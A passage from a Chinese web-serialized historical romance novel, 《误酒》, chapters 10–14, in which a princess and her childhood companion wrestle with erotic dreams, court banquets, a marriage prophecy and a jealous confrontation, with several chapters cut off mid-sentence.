黎梨不服气,伸手去抢竹筒,云谏仗着身量高,故意举起了手不肯给她。 黎梨连探了几下都够不着,气急败坏地揪着他袖子就往下扯:“给我!” “不给!” 黎梨 10. 夜梦 《误酒》全本免费阅读 晌午时分旭日融暖,长廊的琉璃檐角晶莹剔透,折射出五颜六色的光亮。 葱白的纤细手指不知不觉搭到了对方肩上,将他的衣裳捉得微微起皱,少女轻盈的袖摆下滑,柔软地堆叠在肘弯,露出的手臂在阳光下白得似雪。 绵热的亲吻如期而至,黎梨背抵廊柱,扣在她后颈的手开始下滑,抚过纤薄的脊背,在后腰轻轻摩挲,她垂手将之按住。 “侍从们都在后头呢。”她听见自己的尾音极轻,不像惊慌,倒像是隐隐的期待。 少年只管叫她踩住一侧的围栏,荼白的裙摆被轻巧提起,精工巧绣的风铃花翩翩飞入他的指间,他轻笑了声。 “没事,她们看不见……” …… “啊——” 少女的惊叫声刺破行宫的西北方天穹。 院子里大小灯笼灯盏渐序燃起,照亮了半片黑夜,守夜的侍女披着外衫匆匆步入里间:“郡主。” “郡主,”紫瑶放下手里的烛灯,掀开纱帘,将床榻上的少女扶起,“是不是又魇着了?” 自家郡主仿佛吓得不轻,整张脸烧得通红,埋首在她怀里,连话都说不出来。 紫瑶担心地摸了摸她额头:“不会是先前下山的时候冲撞了什么吧?怎么接连数日都在梦魇……” 黎梨闭着眼努力平复情绪,默默在心里回了句:冲撞了个冤家! 从揽星楼回来后,她本以为荒唐易逝,一切都将回归正轨。 谁知自那以后,夜梦就没停过,每晚都是那冤家的身影,每晚都是缠绵无度的调风弄月。 ……都是他的错! 黎梨想起那日在长廊转角,他竟然当面复述出她的狂言妄语……大概是这幅场景太过惊骇,令人难以忘却,以致于后来的每一场荒诞夜梦,二人都纠缠在乾坤朗朗的长廊上。 想到梦里的光天化日,黎梨恨不得找块豆腐一头撞死。 她好不容易按下心绪,抬眼望向朝东的花窗,隐约看见院外的灯火,显然距离日出还有些时辰。 该不会以后每晚都要这样度过吧? “紫瑶,”黎梨握住身边侍女的手,认真吩咐道,“明日传太医过来看看。” “不然我真的要自尽了。” * 东曦既驾,德高望重的陈太医踏入黎梨院落之时,承祧行宫某处客院的浴房木门被从里推开。 一道颀长身影走出,随手将换下的武服扔进了衣篓里。 门口候着的长随向磊仍在打哈欠:“公子,好了?” 听见云谏“嗯”了声,向磊便招呼内侍们去收拾,顺道问了句: “公子,为何这几日你都起得那么早?好像卯时未到就起来练剑了……” 不问还好,问了这话,向磊明显感觉身边主子的气息沉了沉。 云谏当真心烦。 不练剑又能做什么?难不成做了那样的梦,还能若无其事地继续睡吗? 说起来也是离谱,梦个一夜两夜也就罢了,偏生夜夜不得休止,难不成他食髓知味到如此境地了? 虽然这也很难否认。 但…… 云谏沉默片刻,说道:“向磊,你去一趟揽星楼,查一下祭典当日,瞿灵订的雅间里用的是什么酒菜。” “揽星楼?” 向磊有些诧异,但见他面色凝重,不敢多说什么,老实应是退下。 云谏心不在焉地摩挲着腰侧的剑柄,也没留意自己的长随跑出门时险些撞上了人。 门口的来客见主家无视,远远笑了声:“云二你越发怠慢了,这是故意不理我的?” 云谏侧目过去,有位清隽少年抱着一把柳枝倚在门边,鲜嫩柳叶上缀挂着露珠,沾湿他小片银白衣袍,也将雪青色的麒麟纹绣低调遮掩住。 天家血脉都这么喜欢浅色衣衫吗? 云谏脑海里划过这个古怪念头,一晃神好像又看到梦里的荼白裙摆被他拢在指间。 他仓促摇了摇头,胡乱招呼道:“五殿下。” “……你叫我什么?” 萧玳一愣,险些失笑:“认识你这么多年,难得从你嘴里听到尊称啊……” 这人平日里左一个“萧玳”,右一个“喂”,偶尔两人比试时闹急了眼,还敢大逆不道喊他“狗东西”,今日竟然喊“殿下”了? 有问题。 他不对劲。 云谏回过神来,顶着对方探究的目光,懒洋洋抱起了臂:“哪来这么多废话,说吧,找我做什么?” 这模样才算正常嘛。 萧玳松了一口气:“我母妃亲自剪的祷柳——” 他从怀里挑出几枝柳枝:“都诵过经了,她让我分些给亲友,一起沾沾福泽。” 云谏伸手接了过来,转身插入廊下空置的花瓶里。 白瓶绿柳,苍翠的夏意煞是好看。 萧玳满意地点点头,招手道:“走,你陪我送柳枝去,然后我们就去武场试试教习的新招。” 云谏垂眸对着瓶子里的柔软枝条,看也不看他:“我没心思乱逛,你送完再回来找我。” “也行。” 萧玳数了数怀里剩下的祷柳,应道:“只剩下迟迟的那份了,我先去见她,再回来找你……” 话未说完,云谏抬起了头。 * “郡主,这真的有用吗?” 伴随着“笃笃”的击木声,紫瑶忧心忡忡地说道:“陈太医连药都不开一副,未免太敷衍了些。” “还走得唉声叹气的,好像被我们耍了似的……” 想起那白胡子老头摇头晃脑的背影,黎梨专心敲木鱼的手一顿。 也怪不得他。 听见尚未出阁的郡主说夜夜幻梦云雨,任谁都要狐疑几分的。 陈老从医多年,从未听过这样寡廉鲜耻的病症,一把脉,又被她康健有力的脉搏撞得手指发疼。 老头子摸着胡子思忖半晌,最后一言难尽说了句:“郡主大人热血方刚,年轻气盛,多些养心净气即可。” 说罢只将自己参祭用的木鱼留下了,叫她没事多敲敲,少胡闹。 眼见历练老成的陈太医都诊不出什么来,黎梨只得接过木鱼,死马当作活马医。 木鱼小槌被她敲得飞快。 花园石桌上“笃笃”声绵延不休,意外地澄思寂虑,黎梨正幻觉自己静下了心时,院门传来道招呼声:“迟迟!” 满脸春风的银袍少年迈进门:“看哥哥给你带什么来了?” 黎梨侧首过去,一眼看见跟在他身后步调慵懒的绛红身影。 带了个冤家来! 她恨不得把那木鱼槌的头给敲断。 跟在皇子身后,自然无人敢拦,云谏从容信步进了院,一抬眼就看到石桌上乌棕的木鱼。 萧玳轻快走过去,将剩下的柳枝插到桌上净瓶里:“今日混世魔王转性了?竟然在礼佛。” 他笑吟吟问:“该不会是为我这祷柳准备的吧?” “为我自己准备的。” 梨梨紧绷着小脸:“木鱼可以静心清欲。” 萧玳不禁问:“你要清什么欲?” 云谏刚从木鱼那里收回目光,听见这话下意识转头,果然与黎梨在半空中对上了视线。 小郡主眼里的幽怨做不得假,他心中莫名一跳。 难不成她也…… 黎梨盯着他,幽幽开口:“杀欲。” 云谏:…… 萧玳正拂去了袖口的露珠,闻言有些哭笑不得:“少胡说。” “你一个养尊处优的金枝玉叶,杀鱼都没见过,哪来的杀欲?” “就是有。” 黎梨闷闷转过头去,并不与他多掰扯。 萧玳还想说些什么,一只手却按上了他的肩。 “有没有杀欲,还真不好说。” 云谏从他身侧走出,清冽眸光停在黎梨的脸上:“朝和郡主眼底乌青,似乎寝不安席,可是遇上了什么不顺心的事?” 虽是问句,他语气却笃定。 黎梨默自攥紧了手中小槌。 梦里的胡闹实在出格,若是被他知道了,她的面子往哪搁? 她一本正经答道:“没有不顺心,不过是近日读书刻苦了些,睡得晚了。” “……” 云谏眼瞧着她面色镇静,手中的小木槌却接连几下敲歪,发出几道软闷声响。 他静了静,忽而嘴角牵起弧度。 “郡主大人的功课都是我写的,没想到读书倒是勤快。” 黎梨假装没听见,手下的力度却乱了,将那小木鱼敲得一跳一跳的。 见她不吭声,云谏伸手就将那木槌的 11. 宴席 《误酒》全本免费阅读 夏末日落渐早,西边天穹余霞成绮,绚烂彤光泼洒京畿,城内城外的百姓都作出归家之态,街市渐空,里坊渐丰。 京郊的宗继山脉却与此相反,承祧行宫,憧憧人影跨出院落,照明所用的灿黄灯笼排成火蛇,一路引着贵客们通往前宫外殿。 靠北边的玉堂殿是女眷宴席之所,隔开宫眷后,外厅只剩下世族高官的妻室与稍年长些的待嫁女儿,有道不常出现的鲜嫩身影在其中分外显目。 “朝和郡主当真稀客,今日怎么来女席了?” 一位簪金花的贵妇人走过来,巧笑调侃道:“你往日最是小孩子心性,定要去前宫与年轻孩子们一同射覆、投壶的,今日竟然过来了。” 黎梨闻着满殿的脂粉浓香,呼吸都放缓了些,含糊着点了点头。 若不是为了五哥说的新鲜刺激,她也不想来这罚坐的。 另一位穿华裙的贵妇人跟着走近,拉着黎梨挤眉弄眼:“往日不来没关系,今日可是你姨母布的席、做的安排,错过了是要惋惜的。” “也幸好你来了,正好来顿悟一下你姨母的‘箴言谶语’!” 听这玄乎话语,黎梨不由问道:“姨母有何箴言?” 往日也未曾听说她有向道问佛之心啊…… 那华裙贵妇掩住红唇,笑得暧昧:“长公主殿下万慧,妙言要道不少,但最著名的当数那句——” “‘男人是块宝,囤得越多就越好’呀!” 深闺妇人们难得聚于这样松快无拘的场所,闻言咯咯笑作一团,旁侧的黎梨眼角筋肉微抽两下,想起那些该死的夜梦,竟然很难不认可。 她早该多囤两块宝的! 眼下用“宝”迫在眉睫,她才匆匆出来物色,实在费劲,还耽误工夫! “我这外甥女尚未出阁呢,你们可别同她胡说。” 一道慵懒娇媚的嗓音从后响起,几人侧开身子,为姗姗来迟的美人让出路来。 安煦嘴上说着“别”,眼里却不见有怪罪之意,贵妇人们嘻嘻哈哈应了,相互推着闹着回去下首席位。 自那日在她院中说了番“习武之人”的狂言,黎梨便一直心虚躲着她,此时见她来了,便默自低下脑袋,也想跟着混到人群里去。 “站住。” 安煦懒洋洋喊住她,凤眸微微掀起打量了她一番,视线划过那张柳娇花媚的小脸,终究是忍不住暗骂一句便宜那探花郎了。 骂归骂,命定姻缘可不能含糊,安煦极有分寸地扫了一眼大殿,压低声道:“这儿不是你该来的,你坐一会儿就到前宫去,年轻人都在那处一块玩耍,你可别在这里瞎蹉跎。” 黎梨有些惊讶,姨母的态度倒是她没意料的,怎么前宫的玩宴还挺重要似的? 她稀里糊涂入了席,只听见金铎鸣响,内侍鱼贯而入,奉上美酒佳肴,而后成串轻盈的脚步声接近,二十余纱衣丝带的清秀乐伶款款入了殿。 黎梨不是第一次参加姨母的宴席,但今日临座,仍忍不住跟着其余宾客夸一句“长公主好眼光”。 只见入场的乐伶们无一不是风流标致的好身段,轻纱衣摆无风起浪,掩映着系挂红绸的笙笛乐器,活似月老殿里的仙君下了凡。 身边的贵客们啧啧称赞,那群乐伶却垂容敛目吊足了众人胃口,直至落坐于位,悠扬的丝竹声奏响,玉箫金琯后才含羞带怯地抬起一张张或昳丽或清纯的白皙面容。 果不其然引起了小阵骚动。 黎梨围观着场内的动静,自顾自地酌饮着,心中慨然。 不愧是姨母亲自选的人,乐技优良,容貌身段都无可指摘,这手欲擒故纵的把戏更是玩得高超……往日她怎么不懂得欣赏呢! 像是看懂了她的心思,领座的贵妇人朝她打趣道:“小郡主鲜少列席,待会儿侍酒,由你先选人如何?” 这一说,黎梨反倒愣住了。 今日她来此目的并不单纯,如果只是看着他们演奏,确实觉得赏心悦目……但真要冲锋陷阵的话,可不得好好选一个? 感受到了她的犹豫,方才那妇人笑眯眯凑到她身边,玉手一抬就指向最前那位乐伶。 “看那位吹笛的,气质出尘若仙,你看如何?” 黎梨稍一定眼,便连连摇头:“太过纤细,瞧着比我还要柔弱。” “那位横抱琵琶的呢?身姿精壮又挺拔!” “身姿是好了……但相貌只称得上是清秀……” “哎无妨,再看看……你看居中那位抚琴的!” 那年轻妇人视线聚拢,兴奋地拉住她:“那位乐伶身如玉树,面如瑶花,称之为尤物亦不为过!你看他如何?” 黎梨被晃得摇摆,勉强凝眸看清对方,只道她说得确实不错,但是…… “他双眸太过漆黑,瞧着叫人感受不到情意……” “情意?” 贵妇人噗嗤一声笑了:“侍酒罢了,只需长得合眼,说话好听,也就差不多了,要那虚无情意做什么?” 黎梨讪讪不语,心忖她挑的可不是侍酒之人。 对着一潭死水,如何快活得起来? 那妇人见她缄声,想起她连双眸太黑都能挑剔,不由得逗笑道:“再说了,你这样不像选乐伶,倒像是心中已经有个影子了,在拿这些乐伶做对比似的……” “怎么可能,哪有什么影子……” 黎梨脱口否认,但话到一半,又不由得顿住。 再一回想,鸡皮疙瘩就掉了一地。 ……她甚至不敢细想自己是在拿何人做对比。 殿内乐声静息不少,逐渐换了批击鼎的宫伶,原本的乐伶们像群斑斓花蝴蝶,飘然落到贵客们的席位上,笑意嫣然地奉起酒来。 黎梨没心思叫人,连闷了几盏酒水,试图压下方才的不宁心绪。 随侍的紫瑶看得眼皮子直跳,小声劝道:“郡主,今日宴席的酒水都是民间香酿,不比宫酒温和,你小心些……” 黎梨后知后觉,这才隐觉热意上脸,忙放下酒杯。 自揽星楼那夜过后,她已经估摸不准自己的酒量了,实在不敢放肆。 眼瞧着选人无果,酒水也不得尽意,小郡主兴致缺缺,以手扇了扇风,寻思着要不出去转转,消消酒气也好。 正当她准备起身,余光却见一道高瘦身影入内。 今日殿内由安煦作管,众人熟知她的性子,都玩得放肆,各自沉溺于美酒温柔乡中,竟没几人瞧见这位新客。 安煦倒是瞧见了,她悠悠推开身边乐伶递酒的手,不咸不淡招呼了句:“这是女席,你怎么来了?” “老三。” 来人正是三皇子萧煜珏,他悄然环视一圈,面对满殿调笑饮酒的画面,忍不住暗暗皱眉,直至见到黎梨独坐一案,这才微松一口气。 “姑母,侄儿不是有意来扰的。” 他朝身后挥挥手,数位随从便托着锦盘上来:“天家行宫夜宴,自然是越热闹越好。碰巧侄儿前日购得一批余南美酒,今日就不藏私了,拿出来各处宴客,也想叫贵宾们尝个鲜、尽个兴。” 说罢,他示意随从们将带来的美酒交由安煦查看。 安煦与内侍长略一翻闻,知是难得的美酒,当即笑了:“算你有心。” 就近采买的民间香酿自是比不上余南的美酒,她便招呼着侍女们往各桌上替换。 萧煜珏趁着众人忙活,自己也帮着提了一坛,却绕过数桌,径直 12. 卦语 《误酒》全本免费阅读 这边动静太大,将满殿的目光都吸引了过来,纵情酒乐的妇人们大惊失色:“三殿下?” “他怎么在这?” “殿下怎么弄成这副模样了?” 安煦身边的内侍们反应极快,迅速围了过来,一拨人紧忙凑到萧煜珏身边收拾救场,另一拨意欲来问清情况。 紫瑶心知蹊跷,不敢再闹大,眼疾手快拦住了他们:“没什么大事,主子们吃多了酒,一时不察失了手罢了!” 这边的内侍们踌躇着驻足,人头攒动,后面的萧煜珏却压不住怒气了。 他摊手推开忙活的侍从们,黏糊着一身站起,油汁顺着锦衣下淌,看着脏糟不堪,他却无暇顾及,只怒瞪着双眼扫视四周,却发现黎梨的身影早已消失无踪。 萧煜珏紧紧握起拳头,恨得牙痒痒:“且等着瞧……” * 行宫内夜风习习,绿柳拂动,黎梨踏入疏影横斜的景园,挑了人少的路径,往安静处去。 她察觉到自己脚步略微轻飘,暗道这民间的香酿不容小觑,本来吹着山间晚风应该醒神些,但隐约的酒气又让她想起不悦的事来。 萧煜珏那畜生好大的胆子。 往日眼神轻佻也就罢了,他好歹是位帝嗣,她也不能拿他怎么样,却没想到今日他竟然敢动手。 黎梨从未受过这样的屈辱,如今想起,愈发后悔方才那桌酒菜没给他兜头淋下去,气闷得提起裙摆,抬脚将路中的一颗小石踢下了湖。 “噗通”一声。 平整湖面被打破,涟漪泛起,一圈圈水波向外荡开,透明的波纹蔓延到一座小亭下,被灿黄的灯光染上暖色。 黎梨顺着移上视线,有道清瘦端直的青衣身影立在亭内,正借着灯笼火光,提笔在亭桌上描绘着什么。 黎梨鬼使神差地敛下脚步声,悄然来到亭边,看清那亭桌上的纸张画着远处的月下荷景。 半夜三更在这人静处画荷,实在新奇,她不免多看了对方几眼。 不看不要紧,一看,她的神色就渐渐变了。 * 云谏撇下玩兴正欢的年轻伙伴们,百无聊赖地走出了前宫大殿,远方钟鼎声悠扬,空灵的乐音穿过北边玉堂殿,远传天穹,又落到他的耳边。 ……是女席那边的乐声。 他回头再看了前宫大殿一眼。 她整晚都没出现。 云谏颇觉烦躁,那没良心的该不会真去挑乐伶了吧? 他有些耐不住了,又在心里将萧玳骂了八百遍,犹豫着要不要去北边看看,谁知刚出前宫院门,就在景园里撞见一道素色身影。 云承坐在一张石桌边上,面前摆着棋盘,见他过早出来,也不多惊讶,只浅笑招呼了声。 “手谈一局?” 云谏步伐顿住,眸光落在那黑白分明的棋盘上,半晌后平声拒了:“我不会。” 云承:“你不是学过?” 这平平无奇的一句话,陡然戳中云谏的痛处,再开口时,他的语气就锐利了不少:“你不是说我学了也没用?” 云承知道他心中芥蒂,却也不作安抚,只实话说道:“若是为了她,你学棋确实用处不大。” “……” 云谏缓缓攥住腰侧的佩剑,只觉一口郁气梗在心头难上也难下。 说起这事……别人或许忘了,但他记得清楚,黎梨的及笄礼上,圣上曾令他的好兄长卜算她的命中姻缘,看看她的未来郎婿会是何等人物。 当时云承万般随意地掐掐手指,蘸取酒液写了则先见卦语,点明了两个要字—— “良缘私身为‘棋’,佳偶诚合在‘虎’。” 她的郎婿,定与“棋”、“虎”二字相关。 国师金口玉言,撼得满座哗然,为了这门天家姻亲,世族长辈们争先恐后地回头顾望,恨不得当场在自家子孙中找出一个擅棋又肖虎的来。 然而众人沸腾的热血很快就冷却了——偌大一个京城,少年英才数之不绝,奇玄的是,棋艺高绝者都不肖虎,肖虎者都不精于棋。 而云谏这样两头都不沾边的,更是多了去。 于是难免有人质疑:“云国师没算错吧?棋、虎二字当真能指示郡主的姻缘?” “是啊,平日也不见郡主与相关之人来往啊……” 甚至有人暗窥安煦,嘟囔道:“该不会只是什么不打紧的露水情缘吧?” 坐于风波中央的云承气定神闲摆摆手,又是沾酒写下一句。 “情至深,意极重,乃至甘之于捐生,恨不得守死。” 此话一落,方才左言右论的人们面面相觑,反倒是看了半日热闹的黎梨笑了起来,嘲道: “捐生守死?你算的是姻缘还是孽缘?” “倘若我挑选夫婿的时候,偏要避开这样的人呢?” 一直谦和微笑着的云承神色肃正起来,再不见半分散漫,沾酒的指尖郑重写下一句。 “奇缘天定,顺逆慎行,敬之则利百事,慢之则败四时。” 这话说得太重,满场的宾客竟半晌未敢辩语。 那时殿里的寂静落针可闻,一如眼下兄弟二人的对峙无声。 云谏手上握得用力,剑柄上突起的雕纹深陷入指尖,带来隐隐的刺痛,却让他更加清晰地感知到心中的不服。 凭什么? 那场不欢而散的及笄礼后,他不愿相信,却也觉得不甘,回去埋首学了两个月棋,偶然一次被云承发现,他的好兄长素手捻起两枚黑白棋子,仍旧语气温和,说出的话语却残酷。 “……你这棋,并不在她的正缘之上。” 云谏彼时今日都觉得讽刺,指尖的隐痛像某种尖锐的导火索,刺得他在夏夜凉风中点起火药,终于忍不住向云承发作。 “我学棋就无用。” “怎么?只有别人的棋能出现在她的正缘之上?” 云承微讶,抬起眼帘看他。 云谏狠狠攥住手里的剑,由那痛觉更深一些,好似能就此刺破心中的郁气。 他连声质问道:“还有那‘虎’呢?京中肖虎的子弟本就不多,你就那般自信,确定自己绝对没有算错……” “我从未说过那是肖虎之意。”云承淡声打断了。 云谏顿住。 云承丢下指尖的棋子,爽声笑了起来:“卦语说的‘虎’,指的是方位,与生肖毫无关系。” “……” 这一句话不轻不重,却如千层巨浪,险些将云谏活活拍死,后者满腔话语梗住心口,竟从云承超逸绝尘的脸上看出几分恶趣味来。 ……这人是不是有什么大病! 他分明知晓卦语的本意,却隔岸观火,看着满京城的人瞎猜两年,期间愣是憋着一声不吭? 那边云承似乎看穿了他的心声,却仍满脸无辜,自顾自地往下问道:“你知道白虎方位吗?” 他颇友善地提示道:“在西边。” “……” 云谏的心脏跳得更疲惫了。 事关她的姻缘,眼前这神棍又卦卦精准,入道以来从未出过差错……若说他毫不在意这则卦语,一定是假的。 他想起这两年来沉沉压在心底的石头,眼下才知自己在意错了点,一时之间被冲击得发懵,甚至尝不出心绪的酸甜苦辣,只觉浑身血液的流动都凝滞了些,压根没有力气去想什么“西边”。 再同这人说话,是会伤身折寿的。 云谏惝恍转过身,只想快些离开。 但他的兄长显然不想给他一个痛快,在后面悠悠补充道: “‘棋’也是,指的并非棋道,还需继续参悟。” 见对方不愿搭理,他又没头没尾地问了句:“这个,要吗?” 云谏麻木地回过头,发现他手里多了两个雪白的小瓷瓶。 云承:“我新炼的丹。” 云谏:“不要。” “当真不要?” 云承又笑了:“我的独门丹方,虽无起死回生之大用,但是净心清梦还是能够的。” 净心……清梦? 他笑得古怪:“你可以不要,她呢?” 云谏:……这神棍是不是又算到了什么! 云承也不介意弟弟黑沉的脸色,悠哉起身,将那两个瓷瓶塞进他的手里。 “钟鼎声快要停了。” 云承挑起长眸往远方一看,丢下这句话,神闲气定地转身离开。 云谏立在原地,握着手里的瓷瓶半晌不动。 “云二!” 前宫远门跨出一道银白身影,带着豪爽的酒气打破他的沉思,抬臂就搭上了他的肩:“你也出来了?” 萧玳拍拍他:“走,我们一起回去!” “不了,”云谏拂开他的手,“我要去玉堂殿看看。” “玉堂殿?” 萧玳侧耳听了听,远方的钟鼎乐声渐渐静却飘散。 他回头应道:“也行,乐声停了,想必女席也快结束了。我们现在沿着景园小道过去,刚好赶上帮姑母张罗散场。” 二人走过幽芳荫乔,有一句没一句搭着话。 此时宴席还未散尽,行宫景园内行人寥寥,话语声的间隙中,依稀能听闻虫鸣鸟啼,还有远方…… 男子的惊呼声。 “姑娘!你这是——” 二人闻声驻足,萧玳拨开一簇花枝,眼见着湖边有位青衣少年被人抵在亭柱上,他身 13. 吃醋 《误酒》全本免费阅读 黎梨走在石径之上,晚风擦脸而过,唤醒零星清明神思。 她隐约觉得自己的脚步略快了些,像是被人拉着走的,正恍惚着回过神,就见路边有根刺棘枝条受了风,像挂了刺的长鞭似的,兜头兜脸向她劈来。 她一时躲闪不及,旁侧却有人迅速伸出手,精准万分地截住了刺棘。 黎梨有些惊讶,本以为对方会将这枝条拂到一旁,下一刻却见他感觉不到痛似的,用力握住它,狠狠扯断就甩到了身后去。 这下黎梨的酒意又浅了两分,忍不住悄悄哝哝:这人戾气好重…… 她偷摸张望了两眼,这动作不知怎的就招惹到了身边的人,蓦地被他拉住,兴师问罪似的: “看什么?你在找谁?” “……没找谁。” 黎梨莫名其妙:“只是想看看你的手有没有被扎伤……” 云谏稍怔,这才察觉到方才握着刺棘的手微微痛麻。 “我没事。” 黎梨眼见着他面色稍霁几分,才觉奇怪,又听他严肃问道:“倒是你,今夜喝了多少,怎么醉得如此厉害?” 黎梨依稀想起些湖边亭子的事情,含糊着回道:“没喝多少,只是头晕了些,并没有醉……” 云谏不信:“不老实。” “你可知道,方才你醉得不清醒,竟敢叫陌生男子解衣裳。” 黎梨:“我没有。” 云谏:“你看,你都断片了。” “我的意思是……” 黎梨老实道:“叫他解衣裳的时候,我没有醉,那时我十分清醒。” 云谏:……怎么办,更生气了。 此处景园西北角临近绿谷,山间徐风穿行,已经隐有近秋的凉意,黎梨看见不远处便是自己的院子,便晃了晃他的手,示意他松开自己的腕子。 “我到了,你回去吧。” 云谏没有动,静立着看她,从她迷茫渐起的双眼中看到过分迟钝的懵懂,只觉她这样的无知无觉对他而言十分残忍。 “不可以。” 许久后他憋出这一句。 黎梨越发迷茫:“什么?” 云谏拉着她,努力放缓了声:“你我相识七年,你尚且读不懂我的心思,那人与你初次见面,又来历不明,你怎敢如此草率与他相近?” “可我并不打算与他……”黎梨下意识辩解,话到一半又觉不好启齿,只得作罢,“算了,也没什么好解释的。” 云谏固执地握着她,示意她说完,她不愿意,索性就想掰开他,几番较劲下却被捉得更紧。 云谏眉心渐蹙:“你不会真信了萧玳的混账话,想要寻个新鲜刺激吧?” “不然呢?还有别的办法?”黎梨挣扎不开,忿忿拍了下他铁钳似的手。 云谏当真害怕她会做出什么糊涂事来,立时想起了神棍兄长的丹药。 他腾出一手摸索自己的蹀躞:“你等等,我给你……” “给我什么?” 黎梨低头看到他拉扯自己的腰带,一不小心就想了岔。 她的面色与语气都变得古怪起来:“你要给我一个新鲜刺激?” 云谏刚摸到瓶子,还未来得及递给她,就感受到了上下逡巡的审视目光。 小郡主拧着眉,直来直去,毫不掩饰话语里的嫌弃: “你不行吧?” 云谏一顿,凉飕飕地抬眼望她。 黎梨认真分析道:“你我二人知根知底,本就缺了新鲜,已经成不了事了,再加上……” 她瞟了他一眼,又立刻移开视线,小声嘀咕:“你这人古板又小心,哪里会有什么刺激……” 云谏面无表情,将手中瓷瓶推回锦囊里。 黎梨浑然无觉,自顾自下了结论:“所以,也不能怪我想要换一个,再挑个合眼缘的……” 话音未完,她听见云谏冷笑了下,语调里带着明显的危险意味。 后颈的汗毛瞬间竖起,她意识到不对,果然抬头就见他双眸隐在长睫阴影下,是往日从未见过的幽暗漆深。 太过陌生,黎梨忍不住后退一步:“怎么了……” “换一个?” 云谏原先听着只觉啼笑皆非,听到这一句却有些按不下情绪了。 他显然没打算让她走,抬步来到她身前,任由高挑的身影将她从头笼罩住。 “你要换谁,换那位沈探花?” 身前人气息冷沉,黎梨十分不习惯,下意识就想往后避开。 云谏却容不得她躲闪,紧跟着迫近,几乎不给她的鞋子前方留出空白。 “你就见了他一面,就那么一面,你就要换了我?” 腕间的手逐渐握得黎梨生疼,她使了劲甩开他,一不留神却绊了脚花圃,力道没收住就向旁栽去。 云谏快手扣住她的腰,一把将她捞回自己怀中,黎梨揪着他的衣襟勉强踩稳,竟觉出几分茫然无措来。 云谏看见她兀自委屈,心底的气力便丝丝缕缕往外散掉。 她委屈什么? 跟在一人身后七年的人又不是她,被喜欢的人讨厌的又不是她,他半句重话都没说,也舍不得让她受伤,不过问了一句她的心意,她倒是先委屈上了。 云谏忍了又忍,终是忍不住捏起她的下颌,好看清些她的神情。 他微垂着眼睑,低声时显得怏怏不乐:“那日在揽星楼,你不是说我好看吗?为什么见他一面就说合眼缘了,他比我好看?” 听他提起揽星楼,黎梨揪着他衣襟的手指又紧了些。 分明是近秋的凉爽夜晚,她贴在他怀里却觉得处处都滚烫灼热,尤其是揽在后腰的手,几乎要把她烫化。 他低头追问,似乎一定要有个答案,黎梨局促地错开二人的呼吸,有些磕绊地回答:“没有合眼缘……” “我没太留意,只是大概瞧了他两眼,没觉得他比你好看……” 没太留意。没觉得。 云谏仔细品着她这一句,冷冽逼人的气息逐渐和缓了下来,黎梨艰难地侧过身,想趁机从他怀里溜走。 然而腰间还未脱锢,垂在肩头的发辫又传来细微力道。 少年拿惯了剑的手修长有力,此时指尖缓缓缠上她柔顺的发辫,在月光下温情缱绻。 他轻松地笑了声,显然是被她一句话哄得熨贴。 于是,有了心情与她清算前两句的账。 “你自幼娇矜挑剔,哪那么容易让你挑着一个合眼缘的?” “再说了,就算挑着了又如何,旁人能有我熟知你的心意吗?若你真想要个新鲜刺激……” 腰间的手收得更紧了些,黎梨才说了知根知底的话,却仍难以抑制地觉得紧张。 耳边温热的呼吸带来微微酥麻,他轻声说道:“你该知道,只要能讨你欢心,我没什么不能做的。” 黎梨不禁咽了口水:“你……” 却不料云谏手指一转直接扯开了她的发带,黎梨眼见着一侧发辫倾泻散开,满目飞扬青丝,还未回过神,就被他牵着发带捆住了双手。 突如其来的束缚感强得难以忽视,黎梨慌了神,下一刻又骤然腾了空,竟是整个人被他打横抱了起来。 “云二你在发什么疯!快放开我!” 黎梨又是气又是急,在他怀里像条跳上了岸的鱼,扑腾个不停。 云谏抱得更紧,将她的挣扎压住,理也不理,直接抱着她踢开门入了院。 今夜酬谢宴,黎梨只带了紫瑶去,院中剩下的侍女与小黄门百无聊赖,正倚着廊柱打盹闲话,猝不及防被这破门动静吓得跳起。 青琼看见来人,下意识想去拦,再一眼就看到他臂弯里的人。 “郡……郡主?”她吓得结舌,忙跑上前。 云谏身形却更快,两步越过了他们,下一眼就穿廊入了圆门,只厉声丢下一句:“站着做什么,她醉得不轻,还不快去准备醒酒的茶水汤药!” 他走得快,侍从们甚至听不清黎梨在骂什么,又找不到拿主意的紫瑶,稀里糊涂间听到这声喝令,被唬得晕头转向散了开,烧水的烧水,找药的找药。 云谏抱着黎梨顺顺利利入了寝殿,一入房就踢拢了门,手一松就将她丢上了榻。 黎梨挣扎着撑起上身,怒目而视:“你吃错药了不成?竟然敢绑我!” 面前的少年毫不在意,抬手随意扯松了领口:“你不是想要新鲜刺激?” 他俯身靠了过来,黎梨想往后缩,却被他握住脚踝一下拉了出来。 脚腕上的力度莫名让她想起揽星楼的夜晚,她突然记起些许被遗忘的细节……他曾经握着同一个地方,试探地架到他肩上,察觉到她的害羞推拒后又默默放弃。 ……她大概是脑子坏了才敢说他古板! 黎梨脸上烧得发烫,被绑着手也要打他:“这时候你想不起云家家规了?” 云谏轻易截住她的双腕,毫不客气扣到她头顶上,笑得放肆:“我又没有三心二意,与你一起,不算违反家规。” 他几乎整个人撑到了她身上,二人近得呼吸纠缠不清,重叠的花香弥漫,黎梨好似缺了氧,脑子里空了好几瞬。 云谏神情从容,不紧不慢又俯低了些身子。 颀长身影压低,扎起的发束随之滑落,墨色发丝散在少年的脖颈边上,算不上遮掩,反倒衬得他漂亮的肩颈线条更加利落。 随着他的动作,松敞的领口也有意无意露出锁骨,袒出小片肌理紧实的胸膛,好看分明的轮廓线条跃入视野,又没入暧昧衣襟里。 平日里的矜傲姿态是全然看不见了。 这轻遮半掩的模样,好似凭空生出些引诱意味,看得见、看不见都分外引人遐想。 黎梨看得睫羽颤了又颤,连着眼角眉梢都渐渐染上桃红。 云谏端详着她,笑了:“新鲜吗?” 黎梨回过神,想挣开他起身,却被 14. 朝珠 《误酒》全本免费阅读 黎梨打起精神,顺着他的手望去一眼,想起萧煜珏那潲水鸡的模样,并不在意:“啊,这个啊……” “不打紧,我已经出过气了。” 云谏听着就知道有事,将她身子扳过来:“发生什么事了?” “你好啰嗦。” 黎梨被他摆弄了一夜,已经有脾气了,直接拍开他的手。 “该做的你不做,不该做的你问一堆。” 云谏有些噎住:“我是担心你。” 黎梨:“我也担心你了,你是不是不行?” “……”云谏顿了顿,冷静道,“别拿话激我,这招不管用。” 黎梨也不为所动:“没激你,不行你就出去,少在我跟前碍眼。” 说完她就转回身,闷头栽进被子堆里,再不看他一眼。 横竖告诉他又有什么用呢? 萧煜珏是圣上中宫嫡出的长子,这事闹破了天也就是个袖子文章,能有什么惩罚落到皇子头上去? 